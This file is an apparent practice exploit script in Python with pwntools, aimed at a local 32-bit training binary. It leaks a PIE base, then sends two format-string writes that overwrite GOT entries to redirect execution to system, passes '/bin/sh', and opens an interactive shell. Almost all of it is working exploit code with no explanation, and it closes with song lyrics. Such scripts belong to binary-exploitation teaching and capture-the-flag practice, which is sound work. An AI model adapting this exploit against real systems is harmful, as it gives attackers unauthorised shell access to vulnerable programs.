# +------------------------------------------------+
# | Atack: Format String GOT System Pie            |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/10-fmt_strings

# +------------------------------------------------+
# | Atack: Format String GOT System                |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/10-fmt_strings

from pwn import *

import sf

target = process("./Correction-FsGotSystemPie-x86")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=32)

target.recvuntil("Cancelled out and rendered obsolute: ")
leak = int(target.recvline().strip(b"\n"), 16)
pie_base = leak - (4684)
bof_payload.add_base("pie", pie_base)
fs = sf.WriteFmtStr(
		arch = 32,
		value = 0x124c,
		address = 0x3324,
		offset = 0x7,
		printed_bytes = 0x0,
		alignment_bytes = 0x0,
		value_base = pie_base,
		address_base = pie_base)
payload = fs.generate_fmt_str()
target.sendline(payload)
fs = sf.WriteFmtStr(
		arch = 32,
		value = 0x10b0,
		address = 0x3330,
		offset = 0x7,
		printed_bytes = 0x0,
		alignment_bytes = 0x0,
		value_base = pie_base,
		address_base = pie_base)
payload = fs.generate_fmt_str()
target.sendline(payload)

target.sendline("/bin/sh\x00")



target.interactive()

# +------------------------------------------------+
# | Artist: Trivium                                |
# +------------------------------------------------+
# | Song: Beneath the Sun                          |
# +------------------------------------------------+
# | I've come undone                               |
# | Beneath the sun                                |
# +------------------------------------------------+

